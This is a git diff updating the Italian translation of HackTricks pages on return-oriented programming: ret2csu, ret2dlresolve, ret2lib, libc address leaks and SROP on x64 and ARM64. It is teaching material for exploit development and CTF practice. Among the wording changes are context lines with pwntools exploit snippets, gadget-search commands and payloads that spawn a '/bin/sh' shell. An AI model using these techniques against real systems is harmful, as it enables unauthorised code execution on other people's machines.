- **`ret_gadget`** è utilizzato per l'allineamento se l'ambiente di destinazione lo richiede, il che è più comune in **x64** per garantire un corretto allineamento dello stack prima di chiamare le funzioni.
- **`ret_gadget`** è utilizzato per l'allineamento se l'ambiente target lo richiede, il che è più comune in **x64** per garantire un corretto allineamento dello stack prima di chiamare le funzioni.
### Allineamento dello Stack
**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione di chiamata**. **LIBC**, per ottimizzare le prestazioni, **utilizza istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (significa che **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, basta aggiungere un **gadget ret** prima di chiamare **system** nella tua catena ROP.
**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione call**. **LIBC**, per ottimizzare le prestazioni, **utilizza istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (significa che **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, basta aggiungere un **gadget ret** prima di chiamare **system** nella tua catena ROP.
## Differenza principale tra x86 e x64
> [!TIP]
> Poiché **x64 utilizza registri per i primi pochi argomenti,** richiede spesso meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. L'aumento del numero di registri e dello spazio degli indirizzi nell'architettura **x64** offre sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP).
> Poiché **x64 utilizza registri per i primi pochi argomenti,** richiede spesso meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio indirizzabile più ampio. L'aumento del numero di registri e dello spazio indirizzabile più ampio nell'architettura **x64** offre sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP).
## Esempio di catena ROP in ARM64
@ -184,8 +184,8 @@ rop-syscall-execv/
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bit, Pie e nx abilitati, senza canary, sovrascrivere RIP con un indirizzo `vsyscall` con l'unico scopo di tornare all'indirizzo successivo nello stack che sarà una sovrascrittura parziale dell'indirizzo per ottenere la parte della funzione che rivela il flag.
- 64 bit, Pie e nx abilitati, nessun canary, sovrascrivere RIP con un indirizzo `vsyscall` con l'unico scopo di tornare all'indirizzo successivo nello stack che sarà una sovrascrittura parziale dell'indirizzo per ottenere la parte della funzione che rivela il flag.
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, senza ASLR, gadget ROP per rendere lo stack eseguibile e saltare al shellcode nello stack.
- arm64, nessun ASLR, gadget ROP per rendere lo stack eseguibile e saltare al shellcode nello stack.
{{#include ../../banners/hacktricks-training.md}}

11
src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
View File

@ -6,7 +6,7 @@
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Informazioni di base
**ret2csu** è una tecnica di hacking utilizzata quando stai cercando di prendere il controllo di un programma ma non riesci a trovare i **gadgets** che di solito usi per manipolare il comportamento del programma.
**ret2csu** è una tecnica di hacking utilizzata quando si cerca di prendere il controllo di un programma ma non si riescono a trovare i **gadgets** che si usano di solito per manipolare il comportamento del programma.
Quando un programma utilizza determinate librerie (come libc), ha alcune funzioni integrate per gestire come i diversi pezzi del programma comunicano tra loro. Tra queste funzioni ci sono alcune gemme nascoste che possono agire come i nostri gadgets mancanti, in particolare una chiamata `__libc_csu_init`.
@ -35,7 +35,7 @@ mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Forse non conosci alcun indirizzo su cui scrivere e hai **bisogno di un'istruzione `ret`**. Nota che il secondo gadget terminerà anch'esso in un **`ret`**, ma dovrai soddisfare alcune **condizioni** per raggiungerlo:
3. Forse non conosci alcun indirizzo su cui scrivere e hai **bisogno di un'istruzione `ret`**. Nota che il secondo gadget terminerà anche con un **`ret`**, ma dovrai soddisfare alcune **condizioni** per raggiungerlo:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -71,6 +71,7 @@ Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accede
Controlla questa pagina per ulteriori informazioni:
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
@ -84,7 +85,7 @@ Immagina di voler effettuare una syscall o chiamare una funzione come `write()`
Ecco dove entra in gioco **ret2csu**:
1. **Imposta i Registri**: Usa il primo gadget magico per estrarre valori dallo stack e inserirli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
2. **Usa il Secondo Gadget**: Con quei registri impostati, utilizzi il secondo gadget. Questo ti consente di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far chiamare al programma una funzione situata all'indirizzo che calcoli e posizioni in `[r15 + rbx*8]`.
2. **Usa il Secondo Gadget**: Con quei registri impostati, usi il secondo gadget. Questo ti consente di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far chiamare al programma una funzione situata all'indirizzo che calcoli e posizioni in `[r15 + rbx*8]`.
Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che ha utilizzato:
```python
@ -111,7 +112,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Nota che l'exploit precedente non è destinato a fare un **`RCE`**, ma è destinato a chiamare una funzione chiamata **`win`** (prendendo l'indirizzo di `win` dall'input standard chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore `0xdeadbeefcafed00d`.
> Nota che l'exploit precedente non è destinato a fare un **`RCE`**, ma è destinato solo a chiamare una funzione chiamata **`win`** (prendendo l'indirizzo di `win` dall'input standard chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore `0xdeadbeefcafed00d`.
### Bypassare la chiamata e raggiungere ret
@ -167,6 +168,6 @@ target.interactive()
```
### Perché non usare direttamente libc?
Di solito, questi casi sono anche vulnerabili a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), ma a volte è necessario controllare più parametri di quanti possano essere facilmente controllati con i gadget che trovi direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri, e **trovare gadget per impostare tutti questi direttamente potrebbe non essere possibile**.
Di solito, questi casi sono vulnerabili anche a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), ma a volte è necessario controllare più parametri di quanti possano essere facilmente controllati con i gadget che trovi direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri, e **trovare gadget per impostare tutti questi direttamente potrebbe non essere possibile**.
{{#include ../../banners/hacktricks-training.md}}

10
src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
View File

@ -8,12 +8,12 @@ Come spiegato nella pagina su [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-go
La funzione **`_dl_runtime_resolve`** prende dallo stack riferimenti a alcune strutture di cui ha bisogno per **risolvere** il simbolo specificato.
Pertanto, è possibile **falsificare tutte queste strutture** per far sì che il collegamento dinamico risolva il simbolo richiesto (come la funzione **`system`**) e chiamarla con un parametro configurato (ad es. **`system('/bin/sh')`**).
Pertanto, è possibile **falsificare tutte queste strutture** per far sì che la risoluzione dinamica colleghi il simbolo richiesto (come la funzione **`system`**) e la chiami con un parametro configurato (ad es. **`system('/bin/sh')`**).
Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate in modo che siano memorizzate da read in una posizione nota, e poi la catena ROP continua chiamando **`_dl_runtime_resolve`**, facendola **risolvere l'indirizzo di `system`** nelle strutture false e **chiamando questo indirizzo** con l'indirizzo a `$'/bin/sh'`.
Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate in modo che vengano memorizzate da read in una posizione nota, e poi la catena ROP continua chiamando **`_dl_runtime_resolve`**, facendola **risolvere l'indirizzo di `system`** nelle strutture falsificate e **chiamando questo indirizzo** con l'indirizzo a `$'/bin/sh'`.
> [!TIP]
> Questa tecnica è utile specialmente se non ci sono gadget syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv/index.html) o [SROP](srop-sigreturn-oriented-programming/index.html)) e non ci sono modi per fare leak degli indirizzi libc.
> Questa tecnica è particolarmente utile se non ci sono gadget syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv/index.html) o [SROP](srop-sigreturn-oriented-programming/index.html)) e non ci sono modi per fare leak degli indirizzi libc.
Guarda questo video per una bella spiegazione su questa tecnica nella seconda metà del video:
@ -30,9 +30,9 @@ Oppure controlla queste pagine per una spiegazione passo-passo:
1. Scrivere strutture false in qualche luogo
2. Impostare il primo argomento di system (`$rdi = &'/bin/sh'`)
3. Impostare nello stack gli indirizzi alle strutture per chiamare **`_dl_runtime_resolve`**
3. Impostare nello stack gli indirizzi delle strutture per chiamare **`_dl_runtime_resolve`**
4. **Chiamare** `_dl_runtime_resolve`
5. **`system`** sarà risolto e chiamato con `'/bin/sh'` come argomento
5. **`system`** verrà risolto e chiamato con `'/bin/sh'` come argomento
Dalla [**documentazione di pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), ecco come appare un attacco **`ret2dlresolve`**:
```python

29
src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
View File

@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Informazioni di Base**
## **Informazioni di base**
L'essenza di **Ret2Libc** è reindirizzare il flusso di esecuzione di un programma vulnerabile a una funzione all'interno di una libreria condivisa (ad es., **system**, **execve**, **strcpy**) invece di eseguire shellcode fornito dall'attaccante nello stack. L'attaccante crea un payload che modifica l'indirizzo di ritorno nello stack per puntare alla funzione della libreria desiderata, mentre organizza anche eventuali argomenti necessari per essere impostati correttamente secondo la convenzione di chiamata.
### **Esempio di Passaggi (semplificato)**
### **Esempio di passaggi (semplificato)**
- Ottenere l'indirizzo della funzione da chiamare (ad es. system) e il comando da chiamare (ad es. /bin/sh)
- Generare una catena ROP per passare il primo argomento che punta alla stringa del comando e il flusso di esecuzione alla funzione
@ -17,7 +17,7 @@ L'essenza di **Ret2Libc** è reindirizzare il flusso di esecuzione di un program
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
Se vuoi controllare se l'ASLR sta cambiando l'indirizzo di libc, puoi fare:
Se vuoi controllare se l'ASLR sta cambiando l'indirizzo di libc puoi fare:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
@ -39,9 +39,9 @@ find "/bin/sh"
```
### Utilizzando /proc/\<PID>/maps
Se il processo sta creando **figli** ogni volta che parli con esso (server di rete), prova a **leggere** quel file (probabilmente avrai bisogno dei permessi di root).
Se il processo sta creando **figli** ogni volta che parli con esso (server di rete), prova a **leggere** quel file (probabilmente avrai bisogno di essere root).
Qui puoi trovare **esattamente dove è caricata la libc** all'interno del processo e **dove verrà caricata** per ogni figlio del processo.
Qui puoi trovare **esattamente dove è caricata la libc** all'interno del processo e **dove sarà caricata** per ogni figlio del processo.
![](<../../../images/image (853).png>)
@ -49,7 +49,7 @@ In questo caso è caricata in **0xb75dc000** (Questo sarà l'indirizzo base dell
## Libc sconosciuta
Potrebbe essere possibile che **non conosci la libc che il binario sta caricando** (perché potrebbe trovarsi su un server a cui non hai accesso). In quel caso potresti sfruttare la vulnerabilità per **leakare alcuni indirizzi e scoprire quale libreria libc** viene utilizzata:
Potrebbe essere possibile che **non conosci la libc che il binario sta caricando** (perché potrebbe trovarsi su un server a cui non hai accesso). In quel caso potresti abusare della vulnerabilità per **leakare alcuni indirizzi e scoprire quale libreria libc** viene utilizzata:
{{#ref}}
rop-leaking-libc-address/
@ -73,7 +73,7 @@ Questi attacchi di brute-forcing sono **utili solo per sistemi a 32 bit**.
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- Se attacchi un server remoto, potresti provare a **forzare l'indirizzo della funzione `usleep` di `libc`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione.
- Se attacchi un server remoto, potresti provare a **forzare l'indirizzo della funzione `libc` `usleep`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione.
## One Gadget
@ -105,40 +105,43 @@ c.interactive()
Controlla l'esempio da:
{{#ref}}
../
{{#endref}}
## Esempio ARM64 Ret2lib
## ARM64 Ret2lib Esempio
Nel caso di ARM64, l'istruzione ret salta dove il registro x30 sta puntando e non dove il registro stack sta puntando. Quindi è un po' più complicato.
Nel caso di ARM64, l'istruzione ret salta dove il registro x30 sta puntando e non dove il registro dello stack sta puntando. Quindi è un po' più complicato.
Inoltre, in ARM64 un'istruzione fa ciò che l'istruzione fa (non è possibile saltare nel mezzo delle istruzioni e trasformarle in nuove).
Controlla l'esempio da:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Ret-into-printf (o puts)
Questo consente di **leakare informazioni dal processo** chiamando `printf`/`puts` con alcuni dati specifici posti come argomento. Ad esempio, mettere l'indirizzo di `puts` nel GOT in un'esecuzione di `puts` **leakerà l'indirizzo di `puts` in memoria**.
Questo consente di **leak informazioni dal processo** chiamando `printf`/`puts` con alcuni dati specifici posti come argomento. Ad esempio, mettere l'indirizzo di `puts` nel GOT in un'esecuzione di `puts` **leakerà l'indirizzo di `puts` in memoria**.
## Ret2printf
Questo significa fondamentalmente abusare di un **Ret2lib per trasformarlo in una vulnerabilità di stringhe di formato `printf`** utilizzando il `ret2lib` per chiamare printf con i valori per sfruttarlo (sembra inutile ma è possibile):
Questo significa fondamentalmente abusare di un **Ret2lib per trasformarlo in una vulnerabilità di formato stringhe `printf`** utilizzando il `ret2lib` per chiamare printf con i valori per sfruttarlo (sembra inutile ma è possibile):
{{#ref}}
../../format-strings/
{{#endref}}
## Altri Esempi e riferimenti
## Altri Esempi & riferimenti
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, dato un leak all'indirizzo di una funzione in libc, utilizzando un gadget
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')`
- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e un gadget ROP per chiamare `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e poi chiamare un gadget.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)

16
src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
View File

@ -36,6 +36,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
Scarica l'exploit e posizionalo nella stessa directory del binario vulnerabile e fornisci i dati necessari allo script:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
@ -132,7 +133,7 @@ In questo modo abbiamo **ingannato la funzione puts** per **stampare** l'**indir
![](<../../../../images/image (1049).png>)
Poiché stiamo **sfruttando** un **binario** **locale**, **non è necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\
Poiché stiamo **sfruttando** un **binario** locale, **non è necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\
Ma, in un caso di exploit remoto, spiegherò qui come puoi trovarlo:
### 3.1- Ricerca della versione di libc (1)
@ -154,7 +155,7 @@ Questo richiederà del tempo, sii paziente.\
Per farlo funzionare abbiamo bisogno di:
- Nome del simbolo libc: `puts`
- Indirizzo libc **leakato**: `0x7ff629878690`
- Indirizzo libc leakato: `0x7ff629878690`
Possiamo capire quale **libc** è molto probabilmente utilizzata.
```bash
@ -195,10 +196,10 @@ if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> Nota che **l'indirizzo base finale di libc deve terminare in 00**. Se non è il tuo caso, potresti aver rivelato una libreria errata.
> [!TIP]
> Nota che **l'indirizzo finale della base libc deve terminare in 00**. Se non è il tuo caso, potresti aver rivelato una libreria errata.
Quindi, l'indirizzo della funzione `system` e l'**indirizzo** della stringa _"/bin/sh"_ verranno **calcolati** dall'**indirizzo base** di **libc** e data la **libreria libc.**
Quindi, l'indirizzo della funzione `system` e l'**indirizzo** della stringa _"/bin/sh"_ verranno **calcolati** dalla **base address** di **libc** e data la **libreria libc.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -219,7 +220,7 @@ p.interactive() #Interact with the conenction
```
Spieghiamo questo ROP finale.\
L'ultimo ROP (`rop1`) ha chiamato di nuovo la funzione main, quindi possiamo **sfruttare di nuovo** il **overflow** (ecco perché l'`OFFSET` è qui di nuovo). Poi, vogliamo chiamare `POP_RDI` puntando all'**indirizzo** di _"/bin/sh"_ (`BINSH`) e chiamare la funzione **system** (`SYSTEM`) perché l'indirizzo di _"/bin/sh"_ sarà passato come parametro.\
Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il processo **termini correttamente** e non venga generato alcun avviso.
Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il processo **esca in modo ordinato** e non venga generato alcun avviso.
**In questo modo l'exploit eseguirà una shell _/bin/sh_.**
@ -235,10 +236,11 @@ Tuttavia, normalmente ci sono alcune restrizioni, le più comuni e facili da evi
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## FILE DI ESPLOITAZIONE
## FILE DI ESPLOIT
Puoi trovare un modello per sfruttare questa vulnerabilità qui:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}

1
src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md
View File

@ -58,6 +58,7 @@ pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
Dopo aver dumpato e controllato la sezione vdso di un binario in kali 2023.2 arm64, non sono riuscito a trovare al suo interno alcun gadget interessante (nessun modo per controllare i registri dai valori nello stack o per controllare x30 per un ret) **eccetto un modo per chiamare un SROP**. Controlla ulteriori informazioni nell'esempio della pagina:
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md
{{#endref}}

3
src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
View File

@ -45,7 +45,7 @@ Start End Offset Perm Path
```
### Scrivere stringa in memoria
Poi devi trovare un modo per scrivere contenuto arbitrario in questo indirizzo
Poi devi trovare un modo per scrivere contenuto arbitrario in questo indirizzo.
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
@ -98,6 +98,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
Se ti mancano **gadget**, ad esempio per scrivere `/bin/sh` in memoria, puoi utilizzare la **tecnica SROP per controllare tutti i valori dei registri** (inclusi RIP e registri dei parametri) dallo stack:
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}

2
src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
View File

@ -4,6 +4,7 @@
Trova un'introduzione a arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -12,6 +13,7 @@ Trova un'introduzione a arm64 in:
Utilizzeremo l'esempio dalla pagina:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}

7
src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
View File

@ -6,7 +6,7 @@
**`Sigreturn`** è una **syscall** speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, interrompe temporaneamente il suo lavoro attuale per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per occuparsi dei segnali.
Dopo che il gestore di segnali ha terminato, il programma deve **riprendere il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **tornare dal gestore di segnali** e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali.
Dopo che il gestore di segnali ha terminato, il programma deve **riprendere il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **ritornare dal gestore di segnali** e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali.
La parte interessante è come **`sigreturn`** ripristina lo stato del programma: lo fa memorizzando **tutti i valori dei registri della CPU nello stack.** Quando il segnale non è più bloccato, **`sigreturn` estrae questi valori dallo stack**, ripristinando effettivamente i registri della CPU al loro stato precedente alla gestione del segnale. Questo include il registro del puntatore dello stack (RSP), che punta all'attuale cima dello stack.
@ -15,6 +15,7 @@ La parte interessante è come **`sigreturn`** ripristina lo stato del programma:
Nota come questo sarebbe un **tipo di Ret2syscall** che rende molto più facile controllare i parametri per chiamare altre Ret2syscalls:
{{#ref}}
../rop-syscall-execv/
{{#endref}}
@ -123,7 +124,7 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Altri Esempi e Riferimenti
## Altri Esempi & Riferimenti
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
@ -134,7 +135,7 @@ target.interactive()
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bit, no relro, no canary, nx, no pie. Semplice buffer overflow che sfrutta la funzione `gets` con mancanza di gadget che esegue un [**ret2syscall**](../rop-syscall-execv/index.html). La catena ROP scrive `/bin/sh` nella `.bss` richiamando di nuovo gets, sfrutta la funzione **`alarm`** per impostare eax a `0xf` per chiamare un **SROP** ed eseguire una shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- Programma assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri e chiamare una syscall e poi chiama `exit`. La syscall selezionata è una `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binario a `rwx` e impostare l'ESP nello spazio binario. Seguendo il flusso, il programma chiamerà di nuovo read in ESP, ma in questo caso ESP punterà alla prossima istruzione quindi passando un shellcode lo scriverà come la prossima istruzione ed eseguirà.
- Programma assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri e chiamare una syscall e poi chiama `exit`. La syscall selezionata è una `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binary a `rwx` e impostare l'ESP nello spazio binary. Seguendo il flusso, il programma chiamerà di nuovo read in ESP, ma in questo caso ESP punterà alla prossima istruzione quindi passando un shellcode lo scriverà come la prossima istruzione ed eseguirà.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP è utilizzato per dare privilegi di esecuzione (memprotect) al luogo dove è stato posizionato un shellcode.

12
src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
View File

@ -191,7 +191,7 @@ rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigret
```
Entrambi gli strumenti comprendono le codifiche **AArch64** e elencheranno le sequenze candidate `mov x8, 0x8b ; svc #0` che possono essere utilizzate come *gadget SROP*.
> Nota: Quando i binari sono compilati con **BTI**, la prima istruzione di ogni obiettivo di branch indiretto valido è `bti c`. I trampolini `sigreturn` posizionati dal linker includono già il corretto BTI landing pad, quindi il gadget rimane utilizzabile da codice non privilegiato.
> Nota: Quando i binari sono compilati con **BTI**, la prima istruzione di ogni valido obiettivo di branch indiretto è `bti c`. I trampolini `sigreturn` posizionati dal linker includono già il corretto BTI landing pad, quindi il gadget rimane utilizzabile da codice non privilegiato.
## Collegare SROP con ROP (pivot tramite `mprotect`)
@ -205,21 +205,21 @@ frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
```
Dopo aver inviato il frame, puoi inviare un secondo stadio contenente codice shell raw a `0x400000+0x100`. Poiché **AArch64** utilizza l'indirizzamento *PC-relative*, questo è spesso più conveniente rispetto alla costruzione di grandi catene ROP.
Dopo aver inviato il frame, puoi inviare una seconda fase contenente codice shell raw a `0x400000+0x100`. Poiché **AArch64** utilizza l'indirizzamento *PC-relative*, questo è spesso più conveniente rispetto alla costruzione di grandi catene ROP.
## Validazione del kernel, PAC e Shadow-Stacks
Linux 5.16 ha introdotto una validazione più rigorosa dei frame di segnale dello spazio utente (commit `36f5a6c73096`). Il kernel ora controlla:
Linux 5.16 ha introdotto una validazione più rigorosa dei frame dei segnali nello spazio utente (commit `36f5a6c73096`). Il kernel ora controlla:
* `uc_flags` deve contenere `UC_FP_XSTATE` quando `extra_context` è presente.
* La parola riservata in `struct rt_sigframe` deve essere zero.
* Ogni puntatore nel record *extra_context* è allineato e punta all'interno dello spazio degli indirizzi utente.
`pwntools>=4.10` crea automaticamente frame conformi, ma se li costruisci manualmente assicurati di inizializzare a zero *reserved* e omettere il record SVE a meno che tu non ne abbia davvero bisogno; altrimenti `rt_sigreturn` restituirà `SIGSEGV` invece di tornare.
`pwntools>=4.10` crea automaticamente frame conformi, ma se li costruisci manualmente assicurati di inizializzare a zero *riservato* e omettere il record SVE a meno che tu non ne abbia davvero bisogno—altrimenti `rt_sigreturn` restituirà `SIGSEGV` invece di tornare.
A partire da Android 14 e Fedora 38, il userland è compilato con **PAC** (*Pointer Authentication*) e **BTI** abilitati per impostazione predefinita (`-mbranch-protection=standard`). *SROP* stesso non è influenzato perché il kernel sovrascrive `PC` direttamente dal frame creato, bypassando l'LR autenticato salvato nello stack; tuttavia, qualsiasi **catena ROP successiva** che esegue salti indiretti deve saltare a istruzioni abilitate BTI o indirizzi PACed. Tieni presente questo quando scegli i gadget.
A partire da Android 14 e Fedora 38, il userland è compilato con **PAC** (*Pointer Authentication*) e **BTI** abilitati per impostazione predefinita (`-mbranch-protection=standard`). *SROP* stesso non è influenzato perché il kernel sovrascrive `PC` direttamente dal frame creato, bypassando l'autenticato LR salvato nello stack; tuttavia, qualsiasi **catena ROP successiva** che esegue salti indiretti deve saltare a istruzioni abilitate BTI o indirizzi PACed. Tieni presente questo quando scegli i gadget.
Gli Shadow-Call-Stacks introdotti in ARMv8.9 (e già abilitati su ChromeOS 1.27+) sono una mitigazione a livello di compilatore e *non* interferiscono con SROP perché non vengono eseguite istruzioni di ritorno: il flusso di controllo è trasferito dal kernel.
Gli Shadow-Call-Stacks introdotti in ARMv8.9 (e già abilitati su ChromeOS 1.27+) sono una mitigazione a livello di compilatore e *non* interferiscono con SROP perché non vengono eseguite istruzioni di ritorno—il flusso di controllo è trasferito dal kernel.
## Riferimenti

18
src/binary-exploitation/stack-overflow/README.md
